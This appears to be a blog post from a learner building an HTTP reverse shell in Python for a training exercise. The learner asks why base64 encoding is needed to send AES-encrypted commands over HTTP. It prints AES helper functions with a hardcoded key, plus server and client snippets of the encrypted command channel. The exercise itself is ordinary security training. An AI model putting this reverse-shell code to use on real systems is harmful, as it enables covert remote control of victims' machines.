2022-05-21

Http reverse shell in python: AES and Base64

For a training I am coding a HTTP reverse shell in Python as an exercise. The training material includes a simple example of a TCP reverse shell which supports AES encryption and I wanted to apply the same to my Http shell. In the end I managed to make it work, but being a newbie when it comes to encryption and encoding I would appreciate if someone could explain what's going on.

Both server and client use the same encrypt/decrypt functions:

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

# dummy vector and key
AES_IV = b"E" * 16
AES_KEY = b"E" * 32

def encrypt(message):
   encryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   padded_message = Padding.pad(message, 16)
   encrypted_message = encryptor.encrypt(padded_message)
   return encrypted_message
         
def decrypt(cipher):
   decryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   decrypted_padded_message = decryptor.decrypt(cipher)
   decrypted_message = Padding.unpad(decrypted_padded_message, 16)
   return decrypted_message

The server side waits for a command to be typed, which then sends to the client after encryption through GET requests, like this:

#snippet of the http server class implemented using  BaseHTTPRequestHandler
command = input("Shell> ")
# (code sending http headers omitted for simplicity)
encrypted_command = self.encrypt(command.encode())  
self.wfile.write(encrypted_command)

On the client side, the messages from the server is retrieved using the Requests module:

req = requests.get(server, headers=HEADERS)
command = req.text  # command sent by the server
command = decrypt(command).decode()

The above code is not working because the encrypted payload sent by the server via wfile.write() gets modified during the transfer. For instance, the logs show that the encrypted version of the "dir" shell command sent by the server is:

b'\x01J\x8f\xe4\xd9qF\x1f\x8b\xea\x07Q\xe3\xbde{'

whereas the client receives:

b'\x01J\xc2\x8f\xc3\xa4\xc3\x99qF\x1f\xc2\x8b\xc3\xaa\x07Q\xc3\xa3\xc2\xbde{'

After some research, I solved the problem by adding base64 encoding, like this:

encrypted_command = self.encrypt(command.encode())
encrypted_command = base64.b64encode(encrypted_command)
self.wfile.write(encrypted_command)

with symmetric base64 decode on the client side.

The only minor issue is that the output of the command ("dir" for instance) goes back to the server with untranslated carriage returns but this is easily fixed, see below:

Volume in drive D has no label.\r\n Volume serial number: 1A09-94DC\r\n\r\n Directory of D:\MyDir\Python\Coding\r\n\r\n20/05/2022 20:15 etc.

The main dumb question for me is: why is base64 encoding needed to correctly transfer encrypted (i.e. binary) payloads via http?

Many thanks S.



No comments:

Post a Comment